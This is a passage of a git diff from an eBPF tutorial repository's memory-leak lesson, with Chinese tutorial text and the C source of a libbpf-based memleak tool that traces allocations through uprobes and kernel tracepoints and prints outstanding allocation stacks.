这些挂载点的目标是捕获所有可能的内存分配和释放事件,从而使我们的内存泄露检测工具能够获取到尽可能全面的数据。这种方法可以让我们不仅能跟踪到内存分配和释放,还能得到它们发生的上下文信息,例如调用栈和调用次数,从而帮助我们定位和修复内存泄露问题。

+

注意,一些内存分配函数可能并不存在或已弃用,比如valloc、pvalloc等,因此它们的附加可能会失败。在这种情况下,我们允许附加失败,并不会阻止程序的执行。这是因为我们更关注的是主流和常用的内存分配函数,而这些已经被弃用的函数往往在实际应用中较少使用。

+

完整的源代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/16-memleak

编译运行

$ git clone https://github.com/iovisor/bcc.git --recurse-submodules 
 $ cd libbpf-tools/
@@ -371,8 +533,9 @@ Tracing outstanding memory allocs...  Hit Ctrl-C to end
 ...
 

总结

-

memleak是一个内存泄漏监控工具,可以用来跟踪内存分配和释放时间对应的调用栈信息。随着时间的推移,这个工具可以显示长期不被释放的内存。

-

这份代码来自于https://github.com/iovisor/bcc/blob/master/libbpf-tools/memleak.bpf.c

+

通过本篇 eBPF 入门实践教程,您已经学习了如何编写 Memleak eBPF 监控程序,以实时监控程序的内存泄漏。您已经了解了 eBPF 在内存监控方面的应用,学会了使用 BPF API 编写 eBPF 程序,创建和使用 eBPF maps,并且明白了如何用 eBPF 工具监测和分析内存泄漏问题。我们展示了一个详细的例子,帮助您理解 eBPF 代码的运行流程和原理。

+

您可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。

+

接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容。希望这些知识和技巧能帮助您更好地了解和使用 eBPF,以解决实际工作中遇到的问题。

diff --git a/16-memleak/maps.bpf.h b/16-memleak/maps.bpf.h new file mode 100644 index 0000000..51d1012 --- /dev/null +++ b/16-memleak/maps.bpf.h @@ -0,0 +1,26 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +// Copyright (c) 2020 Anton Protopopov +#ifndef __MAPS_BPF_H +#define __MAPS_BPF_H + +#include +#include + +static __always_inline void * +bpf_map_lookup_or_try_init(void *map, const void *key, const void *init) +{ + void *val; + long err; + + val = bpf_map_lookup_elem(map, key); + if (val) + return val; + + err = bpf_map_update_elem(map, key, init, BPF_NOEXIST); + if (err && err != -EEXIST) + return 0; + + return bpf_map_lookup_elem(map, key); +} + +#endif /* __MAPS_BPF_H */ diff --git a/16-memleak/memleak.bpf.c b/16-memleak/memleak.bpf.c index ac35a55..aa213c8 100644 --- a/16-memleak/memleak.bpf.c +++ b/16-memleak/memleak.bpf.c @@ -337,7 +337,7 @@ int memleak__kfree(void *ctx) ptr = BPF_CORE_READ(args, ptr); } - return gen_free_enter((void *)ptr); + return gen_free_enter(ptr); } SEC("tracepoint/kmem/kmem_cache_alloc") @@ -375,7 +375,7 @@ int memleak__kmem_cache_free(void *ctx) ptr = BPF_CORE_READ(args, ptr); } - return gen_free_enter((void *)ptr); + return gen_free_enter(ptr); } SEC("tracepoint/kmem/mm_page_alloc") diff --git a/16-memleak/memleak.c b/16-memleak/memleak.c new file mode 100644 index 0000000..b106ebc --- /dev/null +++ b/16-memleak/memleak.c @@ -0,0 +1,1067 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +// Copyright (c) 2023 Meta Platforms, Inc. and affiliates. +// +// Based on memleak(8) from BCC by Sasha Goldshtein and others. +// 1-Mar-2023 JP Kobryn Created this. +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "memleak.h" +#include "memleak.skel.h" +#include "trace_helpers.h" + +#ifdef USE_BLAZESYM +#include "blazesym.h" +#endif + +static struct env { + int interval; + int nr_intervals; + pid_t pid; + bool trace_all; + bool show_allocs; + bool combined_only; + int min_age_ns; + uint64_t sample_rate; + int top_stacks; + size_t min_size; + size_t max_size; + char object[32]; + + bool wa_missing_free; + bool percpu; + int perf_max_stack_depth; + int stack_map_max_entries; + long page_size; + bool kernel_trace; + bool verbose; + char command[32]; +} env = { + .interval = 5, // posarg 1 + .nr_intervals = -1, // posarg 2 + .pid = -1, // -p --pid + .trace_all = false, // -t --trace + .show_allocs = false, // -a --show-allocs + .combined_only = false, // --combined-only + .min_age_ns = 500, // -o --older (arg * 1e6) + .wa_missing_free = false, // --wa-missing-free + .sample_rate = 1, // -s --sample-rate + .top_stacks = 10, // -T --top + .min_size = 0, // -z --min-size + .max_size = -1, // -Z --max-size + .object = {0}, // -O --obj + .percpu = false, // --percpu + .perf_max_stack_depth = 127, + .stack_map_max_entries = 10240, + .page_size = 1, + .kernel_trace = true, + .verbose = false, + .command = {0}, // -c --command +}; + +struct allocation_node { + uint64_t address; + size_t size; + struct allocation_node* next; +}; + +struct allocation { + uint64_t stack_id; + size_t size; + size_t count; + struct allocation_node* allocations; +}; + +#define __ATTACH_UPROBE(skel, sym_name, prog_name, is_retprobe) \ + do { \ + LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, \ + .func_name = #sym_name, \ + .retprobe = is_retprobe); \ + skel->links.prog_name = bpf_program__attach_uprobe_opts( \ + skel->progs.prog_name, \ + env.pid, \ + env.object, \ + 0, \ + &uprobe_opts); \ + } while (false) + +#define __CHECK_PROGRAM(skel, prog_name) \ + do { \ + if (!skel->links.prog_name) { \ + perror("no program attached for " #prog_name); \ + return -errno; \ + } \ + } while (false) + +#define __ATTACH_UPROBE_CHECKED(skel, sym_name, prog_name, is_retprobe) \ + do { \ + __ATTACH_UPROBE(skel, sym_name, prog_name, is_retprobe); \ + __CHECK_PROGRAM(skel, prog_name); \ + } while (false) + +#define ATTACH_UPROBE(skel, sym_name, prog_name) __ATTACH_UPROBE(skel, sym_name, prog_name, false) +#define ATTACH_URETPROBE(skel, sym_name, prog_name) __ATTACH_UPROBE(skel, sym_name, prog_name, true) + +#define ATTACH_UPROBE_CHECKED(skel, sym_name, prog_name) __ATTACH_UPROBE_CHECKED(skel, sym_name, prog_name, false) +#define ATTACH_URETPROBE_CHECKED(skel, sym_name, prog_name) __ATTACH_UPROBE_CHECKED(skel, sym_name, prog_name, true) + +static void sig_handler(int signo); + +static long argp_parse_long(int key, const char *arg, struct argp_state *state); +static error_t argp_parse_arg(int key, char *arg, struct argp_state *state); + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args); + +static int event_init(int *fd); +static int event_wait(int fd, uint64_t expected_event); +static int event_notify(int fd, uint64_t event); + +static pid_t fork_sync_exec(const char *command, int fd); + +#ifdef USE_BLAZESYM +static void print_stack_frame_by_blazesym(size_t frame, uint64_t addr, const blazesym_csym *sym); +static void print_stack_frames_by_blazesym(); +#else +static void print_stack_frames_by_ksyms(); +static void print_stack_frames_by_syms_cache(); +#endif +static int print_stack_frames(struct allocation *allocs, size_t nr_allocs, int stack_traces_fd); + +static int alloc_size_compare(const void *a, const void *b); + +static int print_outstanding_allocs(int allocs_fd, int stack_traces_fd); +static int print_outstanding_combined_allocs(int combined_allocs_fd, int stack_traces_fd); + +static bool has_kernel_node_tracepoints(); +static void disable_kernel_node_tracepoints(struct memleak_bpf *skel); +static void disable_kernel_percpu_tracepoints(struct memleak_bpf *skel); +static void disable_kernel_tracepoints(struct memleak_bpf *skel); + +static int attach_uprobes(struct memleak_bpf *skel); + +const char *argp_program_version = "memleak 0.1"; +const char *argp_program_bug_address = + "https://github.com/iovisor/bcc/tree/master/libbpf-tools"; + +const char argp_args_doc[] = +"Trace outstanding memory allocations\n" +"\n" +"USAGE: memleak [-h] [-c COMMAND] [-p PID] [-t] [-n] [-a] [-o AGE_MS] [-C] [-F] [-s SAMPLE_RATE] [-T TOP_STACKS] [-z MIN_SIZE] [-Z MAX_SIZE] [-O OBJECT] [-P] [INTERVAL] [INTERVALS]\n" +"\n" +"EXAMPLES:\n" +"./memleak -p $(pidof allocs)\n" +" Trace allocations and display a summary of 'leaked' (outstanding)\n" +" allocations every 5 seconds\n" +"./memleak -p $(pidof allocs) -t\n" +" Trace allocations and display each individual allocator function call\n" +"./memleak -ap $(pidof allocs) 10\n" +" Trace allocations and display allocated addresses, sizes, and stacks\n" +" every 10 seconds for outstanding allocations\n" +"./memleak -c './allocs'\n" +" Run the specified command and trace its allocations\n" +"./memleak\n" +" Trace allocations in kernel mode and display a summary of outstanding\n" +" allocations every 5 seconds\n" +"./memleak -o 60000\n" +" Trace allocations in kernel mode and display a summary of outstanding\n" +" allocations that are at least one minute (60 seconds) old\n" +"./memleak -s 5\n" +" Trace roughly every 5th allocation, to reduce overhead\n" +""; + +static const struct argp_option argp_options[] = { + // name/longopt:str, key/shortopt:int, arg:str, flags:int, doc:str + {"pid", 'p', "PID", 0, "process ID to trace. if not specified, trace kernel allocs"}, + {"trace", 't', 0, 0, "print trace messages for each alloc/free call" }, + {"show-allocs", 'a', 0, 0, "show allocation addresses and sizes as well as call stacks"}, + {"older", 'o', "AGE_MS", 0, "prune allocations younger than this age in milliseconds"}, + {"command", 'c', "COMMAND", 0, "execute and trace the specified command"}, + {"combined-only", 'C', 0, 0, "show combined allocation statistics only"}, + {"wa-missing-free", 'F', 0, 0, "workaround to alleviate misjudgments when free is missing"}, + {"sample-rate", 's', "SAMPLE_RATE", 0, "sample every N-th allocation to decrease the overhead"}, + {"top", 'T', "TOP_STACKS", 0, "display only this many top allocating stacks (by size)"}, + {"min-size", 'z', "MIN_SIZE", 0, "capture only allocations larger than this size"}, + {"max-size", 'Z', "MAX_SIZE", 0, "capture only allocations smaller than this size"}, + {"obj", 'O', "OBJECT", 0, "attach to allocator functions in the specified object"}, + {"percpu", 'P', NULL, 0, "trace percpu allocations"}, + {}, +}; + +static volatile sig_atomic_t exiting; +static volatile sig_atomic_t child_exited; + +static struct sigaction sig_action = { + .sa_handler = sig_handler +}; + +static int child_exec_event_fd = -1; + +#ifdef USE_BLAZESYM +static blazesym *symbolizer; +static sym_src_cfg src_cfg; +#else +struct syms_cache *syms_cache; +struct ksyms *ksyms; +#endif +static void (*print_stack_frames_func)(); + +static uint64_t *stack; + +static struct allocation *allocs; + +static const char default_object[] = "libc.so.6"; + +int main(int argc, char *argv[]) +{ + int ret = 0; + struct memleak_bpf *skel = NULL; + + static const struct argp argp = { + .options = argp_options, + .parser = argp_parse_arg, + .doc = argp_args_doc, + }; + + // parse command line args to env settings + if (argp_parse(&argp, argc, argv, 0, NULL, NULL)) { + fprintf(stderr, "failed to parse args\n"); + + goto cleanup; + } + + // install signal handler + if (sigaction(SIGINT, &sig_action, NULL) || sigaction(SIGCHLD, &sig_action, NULL)) { + perror("failed to set up signal handling"); + ret = -errno; + + goto cleanup; + } + + // post-processing and validation of env settings + if (env.min_size > env.max_size) { + fprintf(stderr, "min size (-z) can't be greater than max_size (-Z)\n"); + return 1; + } + + if (!strlen(env.object)) { + printf("using default object: %s\n", default_object); + strncpy(env.object, default_object, sizeof(env.object) - 1); + } + + env.page_size = sysconf(_SC_PAGE_SIZE); + printf("using page size: %ld\n", env.page_size); + + env.kernel_trace = env.pid < 0 && !strlen(env.command); + printf("tracing kernel: %s\n", env.kernel_trace ? "true" : "false"); + + // if specific userspace program was specified, + // create the child process and use an eventfd to synchronize the call to exec() + if (strlen(env.command)) { + if (env.pid >= 0) { + fprintf(stderr, "cannot specify both command and pid\n"); + ret = 1; + + goto cleanup; + } + + if (event_init(&child_exec_event_fd)) { + fprintf(stderr, "failed to init child event\n"); + + goto cleanup; + } + + const pid_t child_pid = fork_sync_exec(env.command, child_exec_event_fd); + if (child_pid < 0) { + perror("failed to spawn child process"); + ret = -errno; + + goto cleanup; + } + + env.pid = child_pid; + } + + // allocate space for storing a stack trace + stack = calloc(env.perf_max_stack_depth, sizeof(*stack)); + if (!stack) { + fprintf(stderr, "failed to allocate stack array\n"); + ret = -ENOMEM; + + goto cleanup; + } + +#ifdef USE_BLAZESYM + if (env.pid < 0) { + src_cfg.src_type = SRC_T_KERNEL; + src_cfg.params.kernel.kallsyms = NULL; + src_cfg.params.kernel.kernel_image = NULL; + } else { + src_cfg.src_type = SRC_T_PROCESS; + src_cfg.params.process.pid = env.pid; + } +#endif + + // allocate space for storing "allocation" structs + if (env.combined_only) + allocs = calloc(COMBINED_ALLOCS_MAX_ENTRIES, sizeof(*allocs)); + else + allocs = calloc(ALLOCS_MAX_ENTRIES, sizeof(*allocs)); + + if (!allocs) { + fprintf(stderr, "failed to allocate array\n"); + ret = -ENOMEM; + + goto cleanup; + } + + libbpf_set_print(libbpf_print_fn); + + skel = memleak_bpf__open(); + if (!skel) { + fprintf(stderr, "failed to open bpf object\n"); + ret = 1; + + goto cleanup; + } + + skel->rodata->min_size = env.min_size; + skel->rodata->max_size = env.max_size; + skel->rodata->page_size = env.page_size; + skel->rodata->sample_rate = env.sample_rate; + skel->rodata->trace_all = env.trace_all; + skel->rodata->stack_flags = env.kernel_trace ? 0 : BPF_F_USER_STACK; + skel->rodata->wa_missing_free = env.wa_missing_free; + + bpf_map__set_value_size(skel->maps.stack_traces, + env.perf_max_stack_depth * sizeof(unsigned long)); + bpf_map__set_max_entries(skel->maps.stack_traces, env.stack_map_max_entries); + + // disable kernel tracepoints based on settings or availability + if (env.kernel_trace) { + if (!has_kernel_node_tracepoints()) + disable_kernel_node_tracepoints(skel); + + if (!env.percpu) + disable_kernel_percpu_tracepoints(skel); + } else { + disable_kernel_tracepoints(skel); + } + + ret = memleak_bpf__load(skel); + if (ret) { + fprintf(stderr, "failed to load bpf object\n"); + + goto cleanup; + } + + const int allocs_fd = bpf_map__fd(skel->maps.allocs); + const int combined_allocs_fd = bpf_map__fd(skel->maps.combined_allocs); + const int stack_traces_fd = bpf_map__fd(skel->maps.stack_traces); + + // if userspace oriented, attach upbrobes + if (!env.kernel_trace) { + ret = attach_uprobes(skel); + if (ret) { + fprintf(stderr, "failed to attach uprobes\n"); + + goto cleanup; + } + } + + ret = memleak_bpf__attach(skel); + if (ret) { + fprintf(stderr, "failed to attach bpf program(s)\n"); + + goto cleanup; + } + + // if running a specific userspace program, + // notify the child process that it can exec its program + if (strlen(env.command)) { + ret = event_notify(child_exec_event_fd, 1); + if (ret) { + fprintf(stderr, "failed to notify child to perform exec\n"); + + goto cleanup; + } + } + +#ifdef USE_BLAZESYM + symbolizer = blazesym_new(); + if (!symbolizer) { + fprintf(stderr, "Failed to load blazesym\n"); + ret = -ENOMEM; + + goto cleanup; + } + print_stack_frames_func = print_stack_frames_by_blazesym; +#else + if (env.kernel_trace) { + ksyms = ksyms__load(); + if (!ksyms) { + fprintf(stderr, "Failed to load ksyms\n"); + ret = -ENOMEM; + + goto cleanup; + } + print_stack_frames_func = print_stack_frames_by_ksyms; + } else { + syms_cache = syms_cache__new(0); + if (!syms_cache) { + fprintf(stderr, "Failed to create syms_cache\n"); + ret = -ENOMEM; + + goto cleanup; + } + print_stack_frames_func = print_stack_frames_by_syms_cache; + } +#endif + + printf("Tracing outstanding memory allocs... Hit Ctrl-C to end\n"); + + // main loop + while (!exiting && env.nr_intervals) { + env.nr_intervals--; + + sleep(env.interval); + + if (env.combined_only) + print_outstanding_combined_allocs(combined_allocs_fd, stack_traces_fd); + else + print_outstanding_allocs(allocs_fd, stack_traces_fd); + } + + // after loop ends, check for child process and cleanup accordingly + if (env.pid > 0 && strlen(env.command)) { + if (!child_exited) { + if (kill(env.pid, SIGTERM)) { + perror("failed to signal child process"); + ret = -errno; + + goto cleanup; + } + printf("signaled child process\n"); + } + + if (waitpid(env.pid, NULL, 0) < 0) { + perror("failed to reap child process"); + ret = -errno; + + goto cleanup; + } + printf("reaped child process\n"); + } + +cleanup: +#ifdef USE_BLAZESYM + blazesym_free(symbolizer); +#else + if (syms_cache) + syms_cache__free(syms_cache); + if (ksyms) + ksyms__free(ksyms); +#endif + memleak_bpf__destroy(skel); + + free(allocs); + free(stack); + + printf("done\n"); + + return ret; +} + +long argp_parse_long(int key, const char *arg, struct argp_state *state) +{ + errno = 0; + const long temp = strtol(arg, NULL, 10); + if (errno || temp <= 0) { + fprintf(stderr, "error arg:%c %s\n", (char)key, arg); + argp_usage(state); + } + + return temp; +} + +error_t argp_parse_arg(int key, char *arg, struct argp_state *state) +{ + static int pos_args = 0; + + switch (key) { + case 'p': + env.pid = atoi(arg); + break; + case 't': + env.trace_all = true; + break; + case 'a': + env.show_allocs = true; + break; + case 'o': + env.min_age_ns = 1e6 * atoi(arg); + break; + case 'c': + strncpy(env.command, arg, sizeof(env.command) - 1); + break; + case 'C': + env.combined_only = true; + break; + case 'F': + env.wa_missing_free = true; + break; + case 's': + env.sample_rate = argp_parse_long(key, arg, state); + break; + case 'T': + env.top_stacks = atoi(arg); + break; + case 'z': + env.min_size = argp_parse_long(key, arg, state); + break; + case 'Z': + env.max_size = argp_parse_long(key, arg, state); + break; + case 'O': + strncpy(env.object, arg, sizeof(env.object) - 1); + break; + case 'P': + env.percpu = true; + break; + case ARGP_KEY_ARG: + pos_args++; + + if (pos_args == 1) { + env.interval = argp_parse_long(key, arg, state); + } + else if (pos_args == 2) { + env.nr_intervals = argp_parse_long(key, arg, state); + } else { + fprintf(stderr, "Unrecognized positional argument: %s\n", arg); + argp_usage(state); + } + + break; + default: + return ARGP_ERR_UNKNOWN; + } + + return 0; +} + +int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + if (level == LIBBPF_DEBUG && !env.verbose) + return 0; + + return vfprintf(stderr, format, args); +} + +void sig_handler(int signo) +{ + if (signo == SIGCHLD) + child_exited = 1; + + exiting = 1; +} + +int event_init(int *fd) +{ + if (!fd) { + fprintf(stderr, "pointer to fd is null\n"); + + return 1; + } + + const int tmp_fd = eventfd(0, EFD_CLOEXEC); + if (tmp_fd < 0) { + perror("failed to create event fd"); + + return -errno; + } + + *fd = tmp_fd; + + return 0; +} + +int event_wait(int fd, uint64_t expected_event) +{ + uint64_t event = 0; + const ssize_t bytes = read(fd, &event, sizeof(event)); + if (bytes < 0) { + perror("failed to read from fd"); + + return -errno; + } else if (bytes != sizeof(event)) { + fprintf(stderr, "read unexpected size\n"); + + return 1; + } + + if (event != expected_event) { + fprintf(stderr, "read event %lu, expected %lu\n", event, expected_event); + + return 1; + } + + return 0; +} + +int event_notify(int fd, uint64_t event) +{ + const ssize_t bytes = write(fd, &event, sizeof(event)); + if (bytes < 0) { + perror("failed to write to fd"); + + return -errno; + } else if (bytes != sizeof(event)) { + fprintf(stderr, "attempted to write %zu bytes, wrote %zd bytes\n", sizeof(event), bytes); + + return 1; + } + + return 0; +} + +pid_t fork_sync_exec(const char *command, int fd) +{ + const pid_t pid = fork(); + + switch (pid) { + case -1: + perror("failed to create child process"); + break; + case 0: { + const uint64_t event = 1; + if (event_wait(fd, event)) { + fprintf(stderr, "failed to wait on event"); + exit(EXIT_FAILURE); + } + + printf("received go event. executing child command\n"); + + const int err = execl(command, command, NULL); + if (err) { + perror("failed to execute child command"); + return -1; + } + + break; + } + default: + printf("child created with pid: %d\n", pid); + + break; + } + + return pid; +} + +#if USE_BLAZESYM +void print_stack_frame_by_blazesym(size_t frame, uint64_t addr, const blazesym_csym *sym) +{ + if (!sym) + printf("\t%zu [<%016lx>] <%s>\n", frame, addr, "null sym"); + else if (sym->path && strlen(sym->path)) + printf("\t%zu [<%016lx>] %s+0x%lx %s:%ld\n", frame, addr, sym->symbol, addr - sym->start_address, sym->path, sym->line_no); + else + printf("\t%zu [<%016lx>] %s+0x%lx\n", frame, addr, sym->symbol, addr - sym->start_address); +} + +void print_stack_frames_by_blazesym() +{ + const blazesym_result *result = blazesym_symbolize(symbolizer, &src_cfg, 1, stack, env.perf_max_stack_depth); + + for (size_t j = 0; j < result->size; ++j) { + const uint64_t addr = stack[j]; + + if (addr == 0) + break; + + // no symbol found + if (!result || j >= result->size || result->entries[j].size == 0) { + print_stack_frame_by_blazesym(j, addr, NULL); + + continue; + } + + // single symbol found + if (result->entries[j].size == 1) { + const blazesym_csym *sym = &result->entries[j].syms[0]; + print_stack_frame_by_blazesym(j, addr, sym); + + continue; + } + + // multi symbol found + printf("\t%zu [<%016lx>] (%lu entries)\n", j, addr, result->entries[j].size); + + for (size_t k = 0; k < result->entries[j].size; ++k) { + const blazesym_csym *sym = &result->entries[j].syms[k]; + if (sym->path && strlen(sym->path)) + printf("\t\t%s@0x%lx %s:%ld\n", sym->symbol, sym->start_address, sym->path, sym->line_no); + else + printf("\t\t%s@0x%lx\n", sym->symbol, sym->start_address); + } + } + + blazesym_result_free(result); +} +#else +void print_stack_frames_by_ksyms() +{ + for (size_t i = 0; i < env.perf_max_stack_depth; ++i) { + const uint64_t addr = stack[i]; + + if (addr == 0) + break; + + const struct ksym *ksym = ksyms__map_addr(ksyms, addr); + if (ksym) + printf("\t%zu [<%016lx>] %s+0x%lx\n", i, addr, ksym->name, addr - ksym->addr); + else + printf("\t%zu [<%016lx>] <%s>\n", i, addr, "null sym"); + } +} + +void print_stack_frames_by_syms_cache() +{ + const struct syms *syms = syms_cache__get_syms(syms_cache, env.pid); + if (!syms) { + fprintf(stderr, "Failed to get syms\n"); + return; + } + + for (size_t i = 0; i < env.perf_max_stack_depth; ++i) { + const uint64_t addr = stack[i]; + + if (addr == 0) + break; + + char *dso_name; + uint64_t dso_offset; + const struct sym *sym = syms__map_addr_dso(syms, addr, &dso_name, &dso_offset); + if (sym) { + printf("\t%zu [<%016lx>] %s+0x%lx", i, addr, sym->name, sym->offset); + if (dso_name) + printf(" [%s]", dso_name); + printf("\n"); + } else { + printf("\t%zu [<%016lx>] <%s>\n", i, addr, "null sym"); + } + } +} +#endif + +int print_stack_frames(struct allocation *allocs, size_t nr_allocs, int stack_traces_fd) +{ + for (size_t i = 0; i < nr_allocs; ++i) { + const struct allocation *alloc = &allocs[i]; + + printf("%zu bytes in %zu allocations from stack\n", alloc->size, alloc->count); + + if (env.show_allocs) { + struct allocation_node* it = alloc->allocations; + while (it != NULL) { + printf("\taddr = %#lx size = %zu\n", it->address, it->size); + it = it->next; + } + } + + if (bpf_map_lookup_elem(stack_traces_fd, &alloc->stack_id, stack)) { + if (errno == ENOENT) + continue; + + perror("failed to lookup stack trace"); + + return -errno; + } + + (*print_stack_frames_func)(); + } + + return 0; +} + +int alloc_size_compare(const void *a, const void *b) +{ + const struct allocation *x = (struct allocation *)a; + const struct allocation *y = (struct allocation *)b; + + // descending order + + if (x->size > y->size) + return -1; + + if (x->size < y->size) + return 1; + + return 0; +} + +int print_outstanding_allocs(int allocs_fd, int stack_traces_fd) +{ + time_t t = time(NULL); + struct tm *tm = localtime(&t); + + size_t nr_allocs = 0; + + // for each struct alloc_info "alloc_info" in the bpf map "allocs" + for (uint64_t prev_key = 0, curr_key = 0;; prev_key = curr_key) { + struct alloc_info alloc_info = {}; + memset(&alloc_info, 0, sizeof(alloc_info)); + + if (bpf_map_get_next_key(allocs_fd, &prev_key, &curr_key)) { + if (errno == ENOENT) { + break; // no more keys, done + } + + perror("map get next key error"); + + return -errno; + } + + if (bpf_map_lookup_elem(allocs_fd, &curr_key, &alloc_info)) { + if (errno == ENOENT) + continue; + + perror("map lookup error"); + + return -errno; + } + + // filter by age + if (get_ktime_ns() - env.min_age_ns < alloc_info.timestamp_ns) { + continue; + } + + // filter invalid stacks + if (alloc_info.stack_id < 0) { + continue; + } + + // when the stack_id exists in the allocs array, + // increment size with alloc_info.size + bool stack_exists = false; + + for (size_t i = 0; !stack_exists && i < nr_allocs; ++i) { + struct allocation *alloc = &allocs[i]; + + if (alloc->stack_id == alloc_info.stack_id) { + alloc->size += alloc_info.size; + alloc->count++; + + if (env.show_allocs) { + struct allocation_node* node = malloc(sizeof(struct allocation_node)); + if (!node) { + perror("malloc failed"); + return -errno; + } + node->address = curr_key; + node->size = alloc_info.size; + node->next = alloc->allocations; + alloc->allocations = node; + } + + stack_exists = true; + break; + } + } + + if (stack_exists) + continue; + + // when the stack_id does not exist in the allocs array, + // create a new entry in the array + struct allocation alloc = { + .stack_id = alloc_info.stack_id, + .size = alloc_info.size, + .count = 1, + .allocations = NULL + }; + + if (env.show_allocs) { + struct allocation_node* node = malloc(sizeof(struct allocation_node)); + if (!node) { + perror("malloc failed"); + return -errno; + } + node->address = curr_key; + node->size = alloc_info.size; + node->next = NULL; + alloc.allocations = node; + } + + memcpy(&allocs[nr_allocs], &alloc, sizeof(alloc)); + nr_allocs++; + } + + // sort the allocs array in descending order + qsort(allocs, nr_allocs, sizeof(allocs[0]), alloc_size_compare); + + // get min of allocs we stored vs the top N requested stacks + size_t nr_allocs_to_show = nr_allocs < env.top_stacks ? nr_allocs : env.top_stacks; + + printf("[%d:%d:%d] Top %zu stacks with outstanding allocations:\n", + tm->tm_hour, tm->tm_min, tm->tm_sec, nr_allocs_to_show); + + print_stack_frames(allocs, nr_allocs_to_show, stack_traces_fd); + + // Reset allocs list so that we dont accidentaly reuse data the next time we call this function + for (size_t i = 0; i < nr_allocs; i++) { + allocs[i].stack_id = 0; + if (env.show_allocs) { + struct allocation_node *it = allocs[i].allocations; + while (it != NULL) { + struct allocation_node *this = it; + it = it->next; + free(this); + } + allocs[i].allocations = NULL; + } + } + + return 0; +} + +int print_outstanding_combined_allocs(int combined_allocs_fd, int stack_traces_fd) +{ + time_t t = time(NULL); + struct tm *tm = localtime(&t); + + size_t nr_allocs = 0; + + // for each stack_id "curr_key" and union combined_alloc_info "alloc" + // in bpf_map "combined_allocs" + for (uint64_t prev_key = 0, curr_key = 0;; prev_key = curr_key) { + union combined_alloc_info combined_alloc_info; + memset(&combined_alloc_info, 0, sizeof(combined_alloc_info)); + + if (bpf_map_get_next_key(combined_allocs_fd, &prev_key, &curr_key)) { + if (errno == ENOENT) { + break; // no more keys, done + } + + perror("map get next key error"); + + return -errno; + } + + if (bpf_map_lookup_elem(combined_allocs_fd, &curr_key, &combined_alloc_info)) { + if (errno == ENOENT) + continue; + + perror("map lookup error"); + + return -errno; + } + + const struct allocation alloc = { + .stack_id = curr_key, + .size = combined_alloc_info.total_size, + .count = combined_alloc_info.number_of_allocs, + .allocations = NULL + }; + + memcpy(&allocs[nr_allocs], &alloc, sizeof(alloc)); + nr_allocs++; + } + + qsort(allocs, nr_allocs, sizeof(allocs[0]), alloc_size_compare); + + // get min of allocs we stored vs the top N requested stacks + nr_allocs = nr_allocs < env.top_stacks ? nr_allocs : env.top_stacks; + + printf("[%d:%d:%d] Top %zu stacks with outstanding allocations:\n", + tm->tm_hour, tm->tm_min, tm->tm_sec, nr_allocs); + + print_stack_frames(allocs, nr_allocs, stack_traces_fd); + + return 0; +} + +bool has_kernel_node_tracepoints() +{ + return tracepoint_exists("kmem", "kmalloc_node") && + tracepoint_exists("kmem", "kmem_cache_alloc_node"); +} + +void disable_kernel_node_tracepoints(struct memleak_bpf *skel) +{ + bpf_program__set_autoload(skel->progs.memleak__kmalloc_node, false); + bpf_program__set_autoload(skel->progs.memleak__kmem_cache_alloc_node, false); +} + +void disable_kernel_percpu_tracepoints(struct memleak_bpf *skel) +{ + bpf_program__set_autoload(skel->progs.memleak__percpu_alloc_percpu, false); + bpf_program__set_autoload(skel->progs.memleak__percpu_free_percpu, false); +} + +void disable_kernel_tracepoints(struct memleak_bpf *skel) +{ + bpf_program__set_autoload(skel->progs.memleak__kmalloc, false); + bpf_program__set_autoload(skel->progs.memleak__kmalloc_node, false); + bpf_program__set_autoload(skel->progs.memleak__kfree, false); + bpf_program__set_autoload(skel->progs.memleak__kmem_cache_alloc, false); + bpf_program__set_autoload(skel->progs.memleak__kmem_cache_alloc_node, false); + bpf_program__set_autoload(skel->progs.memleak__kmem_cache_free, false); + bpf_program__set_autoload(skel->progs.memleak__mm_page_alloc, false); + bpf_program__set_autoload(skel->progs.memleak__mm_page_free, false); + bpf_program__set_autoload(skel->progs.memleak__percpu_alloc_percpu, false); + bpf_program__set_autoload(skel->progs.memleak__percpu_free_percpu, false); +} + +int attach_uprobes(struct memleak_bpf *skel) +{ + ATTACH_UPROBE_CHECKED(skel, malloc, malloc_enter); + ATTACH_URETPROBE_CHECKED(skel, malloc, malloc_exit); + + ATTACH_UPROBE_CHECKED(skel, calloc, calloc_enter); + ATTACH_URETPROBE_CHECKED(skel, calloc, calloc_exit); + + ATTACH_UPROBE_CHECKED(skel, realloc, realloc_enter); + ATTACH_URETPROBE_CHECKED(skel, realloc, realloc_exit); + + ATTACH_UPROBE_CHECKED(skel, mmap, mmap_enter); + ATTACH_URETPROBE_CHECKED(skel, mmap, mmap_exit); + + ATTACH_UPROBE_CHECKED(skel, posix_memalign, posix_memalign_enter); + ATTACH_URETPROBE_CHECKED(skel, posix_memalign, posix_memalign_exit); + + ATTACH_UPROBE_CHECKED(skel, memalign, memalign_enter); + ATTACH_URETPROBE_CHECKED(skel, memalign, memalign_exit); + + ATTACH_UPROBE_CHECKED(skel, free, free_enter); + ATTACH_UPROBE_CHECKED(skel, munmap, munmap_enter); + + // the following probes are intentinally allowed to fail attachment + + // deprecated in libc.so bionic + ATTACH_UPROBE(skel, valloc, valloc_enter); + ATTACH_URETPROBE(skel, valloc, valloc_exit); + + // deprecated in libc.so bionic + ATTACH_UPROBE(skel, pvalloc, pvalloc_enter); + ATTACH_URETPROBE(skel, pvalloc, pvalloc_exit); + + // added in C11 + ATTACH_UPROBE(skel, aligned_alloc, aligned_alloc_enter); + ATTACH_URETPROBE(skel, aligned_alloc, aligned_alloc_exit); + + return 0; +} diff --git a/16-memleak/trace_helpers.c b/16-memleak/trace_helpers.c new file mode 100644 index 0000000..89c4835 --- /dev/null +++ b/16-memleak/trace_helpers.c @@ -0,0 +1,1202 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +// Copyright (c) 2020 Wenbo Zhang +// +// Based on ksyms improvements from Andrii 